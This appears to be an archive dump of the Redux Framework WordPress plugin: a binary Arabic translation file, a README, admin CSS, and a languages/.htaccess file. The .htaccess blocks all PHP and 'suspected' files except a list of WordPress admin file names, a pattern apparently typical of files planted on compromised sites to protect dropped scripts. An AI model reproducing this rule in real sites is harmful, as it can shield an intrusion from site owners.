���5���[���m���D����������g���������������������������I���.������;���t�����������������������������������]���8�������H����������������X������^����������p�������T����������������K���N���r������f����������������������G����������S�������������������������k���J���6���b������w���s���d���|���*������e�������-������������+���������������������$���o������%������4���~���<��������������������O���x����������M��� ���F������"��������������j��� ���v���`������:���Z�������/���������������Q��������Activate Demo Mode�Activate Development Plugins�Active�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�Name�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�Password�Please Wait�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Text Align�Text Decoration�Text Transform�The following directories & files are still located in your <strong>Redux</strong> directory. They may cause errors in Theme-Check.�The people that develop Redux Framework�The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Arabic (http://www.transifex.com/projects/p/redux-framework/language/ar/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: ar Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 && n%100<=10 ? 3 : n%100>=11 && n%100<=99 ? 4 : 5; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �تفعيل الوضع التجريبي�تفعيل إضافة التطوير�فعال�أضف المزيد�إضافة/تحرير معرض الصور�الكل�تم استعادة كل الإعدادات الافتراضية!�السماح بالتتبع�هل أنت متأكد؟ ستفقد كل التغييرات الشخصية بإعادة الوضع الأصلي.�هل أنت متأكد؟ ستفقد كل التغييرات الشخصية بإعادة الوضع الأصلي في هذا القسم.�هل أنت متأكد؟ ستفقد كل التغييرات الشخصية بإعادة الوضع الأصلي.�تم تنفيذ النشاط التلقائي: �خلفية ثابتة / متحركة�قصاصة الخلفية�أصل الخلفية�موضع الخلفية�تكرار الخلفية�حجم الخلفية�عائلة الخط الاحتياطية�نمط الإطار�الأسفل�سجّل التغيير�تنظيف معرض الصور�انقر هنا لتفعيل ملف عينة الإعدادات.�أغلق�شكر و تقدير�إيقاف الوضع التجريبي�تعطيل إضافة التطوير�افتراضي�حذف�الوصف�مطوّر�وضع المطور تم تفعيله�هل تعلم أنه لدينا ملحقات, تقوم بدعم و تحسين ميزات ريدوكس كثيراً؟ قم بزيارة %1$s لتعرف أكثر!�تعطيل�تجاهل�عدم السماح بالتتبع�البريد الإلكتروني�تفعيل�وسع�خيارات التصدير�لون الخط�عائلة الخط�حجم الخط�مجموعات الخط الفرعية�تنوع الخط�ثقل & نمط الخط�لون الخط�عائلة الخط�سكريبت الخط�نمط الخط�مجموعات خط فرعية�من�البدء�خطوط جوجل�ارتفاع�ساعد في تطوير لوحتنا�يمكنك هنا نسخ/تحميل إعدادات خياراتك الحالية. أبقي هذه النسخة بمأمن فقد تحتاجها كنسخة احطياطية في حال حدوث مشكلة ما, يمكنك استخدامها لاستعادة إعداداتك على هذا الموقع (أو أي موقع آخر).�التلميحات�الحوم�إن كان كذلك, من فضلك %1$s و ضع بعين الإعتبار %2$s لكي يبقى تطوير ريدوكس مستمراً.�إذا أردت البقاء مطلعاً على كل ما يتعلق بريدوكس, اشترك من فضلك بنشرتنا الإخبارية�استيراد�استيراد / تصدير�خيارات الاستيراد�استيراد من رابط�لتحميل الخيارات من موقع آخر أدخل الرابط لمجموعة خيارات ذلك الموقع و اضغط استيراد.�لاستعادة خيارات موقعك من نسخة احتياطية أدخل ملف نسختك الاحتياطية بالأسفل و اضغط استيراد.�يسار�تباعد الحروف�هل يعجبك ريدوكس؟�ارتفاع السطر�يجب الإدراج بعد نشاط "plugins_loaded" .�الاسم�النشرة الإخبارية�لم يتم العثور على عناصر من هذا النوع.�لا وسائط مختارة�معطل�مفعل�خيارات�كائن الخيارات�لوحة الخيارات أنشأت بواسطة %1$s�كلمة المرور�الرجاء الإنتظار�ملحقات ريدوكس�إطار عمل ريدوكس�سجل تغيير إطار عمل ريدوكس�لدى إطار عمل ريدوكس مستعرض مضمّن.�مولد ريدوكس�ريدوكس هو إطار عمل لقوالب وإضافات الوردبريس ويتميز بالبساطة وبالعديد من الخيارات المتعددة بالفعل.�عادي�إزالة�الربا�إعادة الوضع الأصلي للكل�إعادة الوضع الأصلي للقسم�يمين�حفظ التغييرات�تم استعادة الإعدادات الافتراضية للقسم!�اختر عنصر�تم استيراد الإعدادات!�تم حفظ الاعدادات!�الإعدادات قد تغيرت, يجب عليك حفظها!�إظهار الكائن في كائن وحدة تحكم جافا سكريبت�الحجم�انزلاق�خطوط قياسية�وضعیة�نمط�إشتراك�مجموعات فرعية�دعم�معلومات النظام�محاذاة النص�زخرفة النص�تحويل النص�المجلدات & الملفات التالية ما زالت موجودة في مجلد <strong>ريدوكس</strong> الخاص بك. يمكنهم أن يسببون بعض الأخطاء أثناء عملية فحص القالب.�الفريق الذي يعمل على تطوير إطار عمل ريدوكس�القالب الذي تقوم بإختبارة به %s مضمن. نحن ندعوك لقراءة التوثيق الخاص ب %s لفحص القالب %s ولفهم بعض التحذيرات التي تراها بسبب ريدوكس؟�تم استبدال النشاط المجهول ب "�قالب�ﻻ يمكن لهذا الحقل أن يكون فارغ. أضف قيمة من فضلك.�هذا الحقل يجب أن يكون ذو قيمة لون صالحة.�هذا الحقل يجب أن يكون ذو تاريخ صالح.�تستعرض هذه اللوحة الميزات العديدة لريدوكس. قبل الغوص بها, من المحبذ أن تقوم بإلقاء نظرة على %1$s.�العنوان�إلى�الأعلى�شفاف�الرابط�وحدات�نشاط مجهول "%1$s" محدد ل %�رفع�عضو�اسم المستخدم�النسخة�الإصدار %s�عرض %s�زيارة صفحة الإضافة�مزار�تحذير! سيتم إعادة صياغة كل الخيارات الحالية, من فضلك تابع بحذر!�هل ترغب في أن تكون سبّاقاًً؟ استخدم %1$s. ستنشئ مظهر متداول مخصص أو مجلد أدمين مستقل كامل مع كل شيء (مع المساعدة من أندرسكورس و TGM). أنقذ نفسك من الصداع و جربها اليوم.�تحذير- لن تعمل لوحة الخيارات هذه بشكل جيد من دون جافا سكريبت!�مرحباً بكم في إطار عمل ريدوكس�مرحباً بك في لوحة ريدوكس الإستعراضية�ما الجديد�عرض�تباعد الكلمات�يعمل...�ليس لديك الصلاحيات الكافية لدخول هذه الصفحة.�يوجد تغييرات لم تحفظ بعد. هل تريد حفظها الآن؟�يوجد تغييرات لم تحفظ بعد. هل تريد حفظها الآن؟�لا يجب إدخال أي علامة HTML في هذا الحقل, تمت إزالة جميع علامات ال HTML.�ﻻ يجب إدخال أي محارف خاصة في هذا الحقل, تمت إزالة جميع المحارف الخاصة.�يجب أن تضيف قائمة قيم عددية يفصل بينها فواصل لهذا الخيار.�يجب عليك إضافة قيمة عددية لهذا الخيار.�يجب عليك إضافة رابط صحيح لهذا الخيار.�يجب عليك إضافة عنوان بريد إلكتروني صحيح.�ستستبدل الخيارات الحالية بقيم هذا الإعداد. هل تريد الإستمرار؟�ستستبدل الخيارات الحالية بقيم هذا الإعداد. هل تريد الإستمرار؟�عند النقر�التبرع�خطأ (أخطاء) قد وجدت!�مجلد الملحقات�لديه صلاحيات القراءة/الكتابة المناسبة أو قم بإدخال بيانات الـ FTP في الأسفل.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�أترك لنا تقييماً جيداً على WordPress.org�عند مرور مؤشر الماوس�وثائقنا المساعدة�تحذير(ات) قد وجدت!������������������������������������������������������������������������������������������������������������redux-framework/languages/.htaccess�����������������������������������������������������������������0000644�����������������00000001626�14720701300�0013431 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/languages/README.txt����������������������������������������������������������������0000644�����������������00000000157�14720701300�0013327 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Please visit: https://github.com/ReduxFramework/ReduxFramework/wiki/Translate for details on how you can help. �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/redux-fields.css���������������������������������������������������������0000644�����������������00000103312�14720701300�0015057 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-ace_editor .ace-wrapper{position:static}.redux-container-ace_editor .ace_editor{height:200px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.redux-container-ace_editor .ace_gutter{z-index:1!important}.redux-main .redux-container-background .redux-background-attachment,.redux-main .redux-container-background .redux-background-attachment select,.redux-main .redux-container-background .redux-background-clip,.redux-main .redux-container-background .redux-background-clip select,.redux-main .redux-container-background .redux-background-origin,.redux-main .redux-container-background .redux-background-origin select,.redux-main .redux-container-background .redux-background-position,.redux-main .redux-container-background .redux-background-position select,.redux-main .redux-container-background .redux-background-repeat,.redux-main .redux-container-background .redux-background-repeat select,.redux-main .redux-container-background .redux-background-size,.redux-main .redux-container-background .redux-background-size select{width:200px!important;margin-right:10px;margin-bottom:7px}.redux-main .redux-container-background .background-preview{display:block;width:100%;margin:5px 0 10px;border:1px dotted #d3d3d3}.redux-main .redux-container-background .select2-container{margin-right:10px;margin-bottom:10px}.redux-main .redux-container-background .wp-picker-container{margin-bottom:10px}.redux-main .redux-container-background .upload{width:100%;margin-bottom:8px}.redux-main .redux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0}.wp-customizer .redux-container-background .redux-background-attachment,.wp-customizer .redux-container-background .redux-background-attachment select,.wp-customizer .redux-container-background .redux-background-clip,.wp-customizer .redux-container-background .redux-background-clip select,.wp-customizer .redux-container-background .redux-background-origin,.wp-customizer .redux-container-background .redux-background-origin select,.wp-customizer .redux-container-background .redux-background-position,.wp-customizer .redux-container-background .redux-background-position select,.wp-customizer .redux-container-background .redux-background-repeat,.wp-customizer .redux-container-background .redux-background-repeat select,.wp-customizer .redux-container-background .redux-background-size,.wp-customizer .redux-container-background .redux-background-size select{width:100%!important}.redux-container-border .select2-container{float:left;display:block;margin-right:10px}.redux-container-border .select_wrapper{float:left;width:inherit}.redux-container-border .select_wrapper select{width:80px;float:left}.redux-container-border .field-border-input{margin-right:10px;margin-bottom:7px}.redux-container-border .wp-picker-container{margin-top:2px}@media screen and (max-width:782px){.redux-container-border .field-border-input input{display:inline-block!important;width:100px!important}.redux-container-border .field-border-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.redux-container-border .select_wrapper{margin-top:6px}}.redux-container-checkbox label{vertical-align:top;width:100%}.redux-container-checkbox label .field-desc{margin-top:0;float:left;width:93%;clear:none}.redux-container-color_gradient .colorGradient{display:inline-block}.redux-container-color_gradient .toLabel{padding-left:18px}@media screen and (max-width:660px){.redux-container-color_gradient .colorGradient{display:block;text-align:center!important}}.sp-container{color:#555;border-color:#ccc;background:#f7f7f7;-webkit-box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);vertical-align:top}.sp-replacer{color:#555;border-color:#ccc;background:#f7f7f7;-webkit-box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);vertical-align:top}.sp-replacer.focus,.sp-replacer.hover,.sp-replacer:focus,.sp-replacer:hover{background:#fafafa;border-color:#999;color:#222}.sp-replacer.focus,.sp-replacer:focus{-webkit-box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8)}.sp-replacer.active:focus{-webkit-box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8)}.sp-replacer.active,.sp-replacer.active:hover,.sp-replacer:active{background:#eee;border-color:#999;color:#333;-webkit-box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}#ui-datepicker-div{z-index:15!important}.ui-datepicker-header{background-color:#00abef}.redux-dimensions-container .select_wrapper,.redux-dimensions-container select{width:65px!important;float:left}.redux-dimensions-container .field-dimensions-input{margin-right:10px;margin-bottom:7px}@media screen and (max-width:782px){.redux-dimensions-container .field-dimensions-input input{display:inline-block!important;width:100px!important}.redux-dimensions-container .field-dimensions-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.redux-dimensions-container .select_wrapper{margin-top:6px}}.redux-main .divide{height:20px;line-height:20px;float:none;border-color:#e7e7e7;display:block;width:100%;height:35px!important;line-height:35px!important;position:relative;margin:15px 0 10px 0}.redux-main .divide .inner{width:42%!important;left:40%!important;margin-left:-6%;background-color:#fcfcfc;border-color:#e7e7e7;position:absolute;height:1px;top:50%;width:100%;margin-top:-1px;border-top-width:1px;border-top-style:solid}.redux-main .divide .inner span{background-color:#fcfcfc;border-color:#e7e7e7;height:5px;width:5px;border-width:2px;border-style:solid;display:block;position:absolute;left:50%;margin-left:-5px;margin-top:-5px}.wp-customizer .redux-container-divide .divide .inner{width:82%!important;left:18%!important;margin-left:-8%}.redux-container-editor .mceLayout td{border-width:1px;margin:0;padding:1px}.redux-container-editor input,.redux-container-editor textarea{margin:inherit}.redux-container-editor textarea{border-style:none;border:0;border-width:0}.redux-container-editor .wp-editor-container{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.redux-container-editor .wp-editor-container textarea{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;border-style:inherit}.redux-container-editor .quicktags-toolbar input{margin:2px 1px 4px;line-height:18px;display:inline-block;min-width:26px;padding:2px 4px;font:12px/18px Arial,Helvetica,sans-serif normal;color:#464646;border:1px solid #c3c3c3;-webkit-border-radius:3px;border-radius:3px;background:#eee;background-image:-webkit-gradient(linear,left bottom,left top,from(#e3e3e3),to(#fff));background-image:-webkit-linear-gradient(bottom,#e3e3e3,#fff);background-image:-moz-linear-gradient(bottom,#e3e3e3,#fff);background-image:-o-linear-gradient(bottom,#e3e3e3,#fff);background-image:linear-gradient(to top,#e3e3e3,#fff)}.redux-container-image_select .redux-table-container{display:table;table-layout:fixed;width:100%}.redux-container-image_select .redux-image-select{margin:0!important}.redux-container-image_select .redux-image-select .tiles{display:block;background-color:#fff;background-repeat:repeat;width:40px;height:40px}.redux-container-image_select .redux-image-select .tiles,.redux-container-image_select .redux-image-select img{border-color:#d9d9d9}.redux-container-image_select .redux-image-select li:last-child{margin-bottom:0}.redux-container-image_select .redux-image-select input[type=radio]{display:none}.redux-container-image_select .redux-image-select-presets img{width:100%}.redux-container-image_select ul.redux-image-select li{margin:0 10px 3px 10px;display:inline-block;padding:2px 2px;padding-left:0}.redux-container-image_select .redux-image-select-selected{background-color:#f9f9f9}.redux-container-image_select .redux-image-select .tiles,.redux-container-image_select .redux-image-select img,.redux-container-image_select .redux-image-select-selected .tiles,.redux-container-image_select .redux-image-select-selected img{border-width:4px;border-style:solid}.redux-container-image_select .redux-image-select-selected .tiles{border-color:#7a7a7a}.redux-info-field{min-height:20px;padding:8px 19px;margin:10px 0;border:1px solid;border-radius:4px;border:1px solid;position:relative}.redux-info-field h1,.redux-info-field h2,.redux-info-field h3,.redux-info-field h4,.redux-info-field h5,.redux-info-field h6{border-bottom:0!important}.redux-info-field h3{color:#777}.redux-info-field .redux-info-icon{display:inline-block;margin-right:15px}.redux-info-field .redux-info-icon i{font-size:2em}.redux-info-field .redux-info-desc{display:inline-block;vertical-align:top}.redux-info-field.redux-normal{background-color:#eee;border-color:#ccc;color:#666}.redux-info-field.redux-normal i{color:#c5c5c5}.redux-info-field.redux-warning{background-color:#fbeba4;border-color:#d7c281;color:#958234}.redux-info-field.redux-warning i{color:#dcca81}.redux-info-field.redux-success{background-color:#c4ee91;border-color:#71af5d;color:#4d7615}.redux-info-field.redux-success i{color:#a0ca6c}.redux-info-field.redux-critical{background-color:#fba1a3;border-color:#b84f5b;color:#981225}.redux-info-field.redux-critical i{color:#dd767d}.redux-info-field.redux-info{background-color:#d3e4f4;border-color:#a9b6c2;color:#5c80a1}.redux-info-field.redux-info i{color:#afc6da}.redux-notice-field{margin:15px 0 0;background-color:#fff;border:0;border-left:4px solid #f3f3f3;-webkit-box-shadow:0 1px 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 1px 0 rgba(0,0,0,.1);padding:1px 12px}.redux-notice-field h1,.redux-notice-field h2,.redux-notice-field h3,.redux-notice-field h4,.redux-notice-field h5,.redux-notice-field h6{border-bottom:0!important}.redux-notice-field p{margin:.5em 0;padding:2px}.redux-notice-field .redux-info-icon{display:inline-block;margin-right:15px}.redux-notice-field .redux-info-icon i{font-size:2em}.redux-notice-field .redux-info-desc{display:inline-block;vertical-align:top}.redux-notice-field.redux-info{border-left:4px solid #0099d5}.redux-notice-field.redux-success{border-left:4px solid #7ad03a}.redux-notice-field.redux-warning{border-left:4px solid #fbeba4}.redux-notice-field.redux-critical{border-left:4px solid #dd3d36}.redux-main .redux-field-container.redux-container-info{padding:0}.wp-customizer .hasIcon.redux-info-field .redux-info-desc,.wp-customizer .hasIcon.redux-notice-field .redux-info-desc{display:block;margin-left:43px}.wp-customizer .hasIcon.redux-info-field .redux-info-icon,.wp-customizer .hasIcon.redux-notice-field .redux-info-icon{float:left}.wp-customizer .redux-main .customize-control.customize-control-redux-info{border-bottom:0}.redux-container-link_color .linkColor{display:inline-block;padding-right:10px;padding-bottom:7px}.redux-container-link_color .linkColor strong{display:table;margin-bottom:5px;margin-left:3px;font-size:12px;font-weight:400;color:#999}.redux-main .button.remove-image,.redux-main .removeCSS{margin-left:10px;color:#ef521d}.redux-main .button.remove-image:hover,.redux-main .removeCSS:hover{color:red}.redux-main .upload_button_div{margin-bottom:5px}.redux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:700;text-decoration:none;text-shadow:1px 1px 0 #fff;margin:0 10px 0 0;padding:3px 10px;background:#ffdfec;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-main .reset-button{font-family:Arial,Verdana,sans-serif;float:left;margin:0;color:#ef521d;border-color:#bbb}.redux-main .redux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-main .redux-main .upload{width:80%!important}.redux-main .button{margin-top:2px}.redux-container-multi_text ul.redux-multi-text{margin:0;padding:0}.redux-container-multi_text .redux-multi-text-add{clear:both;margin:5px 0}.redux-container-multi_text a.redux-multi-text-remove.deletion{color:red;padding:2px 4px;margin-left:5px}.redux-container-multi_text a.redux-multi-text-remove.deletion:hover{background:red;color:#fff;text-decoration:none}@media screen and (max-width:782px){.redux-container-multi_text input{clear:both}.redux-container-multi_text .redux-multi-text-remove{margin:0;float:right}}.wp-customizer .redux-container-multi_text .button{float:right}.wp-customizer .redux-container-multi_text .redux-multi-text-remove{float:right;margin-bottom:5px}.wp-customizer .redux-container-multi_text ul.redux-multi-text input{width:100%!important}.redux-container-palette label{border:3px solid transparent;border-color:transparent!important;border-radius:0;width:100%!important;display:block}.redux-container-palette label.ui-button.ui-widget{width:95%;background:0 0;padding:0}.redux-container-palette label.ui-button.ui-widget .ui-button-text{display:flex}.redux-container-palette label.ui-button.ui-widget .ui-button-text span{padding:10px;flex-grow:1;font-size:0;line-height:10px;color:transparent;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-ms-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;text-shadow:0}.redux-container-palette label.ui-button.ui-widget .ui-button-text span:hover{flex-grow:3;font-weight:700;min-width:60px;font-size:12px;line-height:10px;color:#333;text-shadow:0 0 8px #fff,0 0 8px #fff}.redux-container-palette label.ui-state-active{border:3px solid #333!important}.wp-customizer .redux-main .redux-container-palette label{margin-bottom:3px}.redux-main .form-table-section-indented{width:95%;margin-left:5%!important}.redux-main .form-table-section tr:first-of-type th:first-of-type{padding:0!important}.redux-main h3{margin-top:10px}.redux-main .form-table-section-indented>tbody>tr:first-child{display:none}.redux-main .form-table-section-indented>tbody>tr:nth-last-child(2){border-bottom:0}.redux-container-select_image{margin-top:2px;margin-left:5px;width:100%;margin-bottom:0}.redux-preview-image{max-height:250px;max-width:250px;padding:5px;margin-top:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0}.redux-container-slider .redux-slider-container{margin-left:25px;margin-right:25px;width:200px;display:inline-block;vertical-align:middle}.redux-container-slider .redux-slider-input,.redux-container-slider .redux-slider-select-one,.redux-container-slider .redux-slider-select-two{width:100px!important;text-align:center}.redux-container-slider .redux-slider-label{position:absolute;margin-left:-5px}.redux-container-slider .redux-slider-label-one{position:absolute;margin-left:-22px}.redux-container-slider .redux-slider-label-two{position:absolute;margin-top:-21px;margin-left:245px}@media screen and (max-width:782px){.redux-container-slider input{display:inline-block!important}}@media screen and (max-width:570px){.redux-container-slider{text-align:center}.redux-container-slider .redux-slider-label,.redux-container-slider .select2-container,.redux-container-slider input,.redux-container-slider select{display:block!important;position:inherit;margin:10px auto}.redux-container-slider .redux-slider-container{margin-top:3px;width:80%}}.wp-customizer .redux-container-slider .redux-slider-label{float:left;position:inherit;width:25%;text-align:center;margin-left:0}.wp-customizer .redux-container-slider .redux-slider-input,.wp-customizer .redux-container-slider .redux-slider-select-one,.wp-customizer .redux-container-slider .redux-slider-select-two{width:25%!important}.wp-customizer .redux-container-slider .redux-slider-container{width:70%;margin-right:0;margin-left:5%}.noUi-target,.noUi-target *{-webkit-touch-callout:none;-webkit-user-select:none;-ms-touch-action:none;-ms-user-select:none;-moz-user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.noUi-base{width:100%;height:100%;position:relative}.noUi-origin{position:absolute;right:0;top:0;left:0;bottom:0}.noUi-handle{position:relative;z-index:1}.noUi-stacking .noUi-handle{z-index:10}.noUi-state-tap .noUi-origin{-webkit-transition:left .3s,top .3s;transition:left .3s,top .3s}.noUi-state-drag *{cursor:inherit!important}.noUi-horizontal{height:18px}.noUi-horizontal .noUi-handle{width:34px;height:28px;left:-17px;top:-6px}.noUi-horizontal.noUi-extended{padding:0 15px}.noUi-horizontal.noUi-extended .noUi-origin{right:-15px}.noUi-vertical{width:18px}.noUi-vertical .noUi-handle{width:28px;height:34px;left:-6px;top:-17px}.noUi-vertical.noUi-extended{padding:15px 0}.noUi-vertical.noUi-extended .noUi-origin{bottom:-15px}.noUi-background{background:#fafafa;box-shadow:inset 0 1px 1px #f0f0f0}.noUi-connect{background:#3fb8af;box-shadow:inset 0 0 3px rgba(51,51,51,.45);-webkit-transition:background 450ms;transition:background 450ms}.noUi-origin{border-radius:2px}.noUi-target{border-radius:4px;border:1px solid #d3d3d3;box-shadow:inset 0 1px 1px #f0f0f0,0 3px 6px -5px #bbb}.noUi-target.noUi-connect{box-shadow:inset 0 0 3px rgba(51,51,51,.45),0 3px 6px -5px #bbb}.noUi-dragable{cursor:w-resize}.noUi-vertical .noUi-dragable{cursor:n-resize}.noUi-handle{border:1px solid #d9d9d9;border-radius:3px;background:#fff;cursor:default;box-shadow:inset 0 0 1px #fff,inset 0 1px 7px #ebebeb,0 3px 6px -3px #bbb}.noUi-active{box-shadow:inset 0 0 1px #fff,inset 0 1px 7px #ddd,0 3px 6px -3px #bbb}.noUi-handle:after,.noUi-handle:before{content:"";display:block;position:absolute;height:14px;width:1px;background:#e8e7e6;left:14px;top:6px}.noUi-handle:after{left:17px}.noUi-vertical .noUi-handle:after,.noUi-vertical .noUi-handle:before{width:14px;height:1px;left:6px;top:14px}.noUi-vertical .noUi-handle:after{top:17px}[disabled] .noUi-connect,[disabled].noUi-connect{background:#b8b8b8}[disabled] .noUi-handle{cursor:not-allowed}.noUi-state-blocked .noUi-connect,.noUi-state-blocked.noUi-connect{background:#4fdacf}.redux-container-slides .redux-slides-list .select2-container{margin-bottom:10px;width:100%}.redux-container-slides .ui-accordion-header{margin-bottom:0}.redux-container-slides .full-text,.redux-container-slides .large-text{width:100%}.redux-container-slides .redux-slides-accordion-group{border:1px solid #dfdfdf!important;border-radius:3px!important;margin-top:0!important;margin-bottom:10px;background:#f9f9f9;padding:5px}.redux-container-slides .redux-slides-accordion-group h3{border:1px solid #dfdfdf;cursor:move!important;font-weight:700;padding:0 10px!important;height:40px;line-height:40px!important;background-color:#f1f1f1;background-image:-ms-linear-gradient(top,#f9f9f9,#ececec);background-image:-moz-linear-gradient(top,#f9f9f9,#ececec);background-image:-o-linear-gradient(top,#f9f9f9,#ececec);background-image:-webkit-gradient(linear,left top,left 